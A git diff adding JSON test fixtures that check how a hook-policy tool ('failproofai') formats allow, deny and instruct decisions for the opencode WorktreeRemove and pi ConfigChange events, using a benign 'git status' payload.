"session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..5c9765f5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..12b453d0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..2a9f144d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..11f7443f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0e99af95 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9e73e9a0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..47397c1e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8512e631 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..270074c3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f565c246 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..da2b0bfb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c1dd6658 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e060fc9d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..54cafde0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..438270e7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..87d34b2c --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..127a8160 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..85e62eed --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0d8591e8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..77a0023f --- /dev/null +++ b/__tests__/parity/fixtures/pi/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ 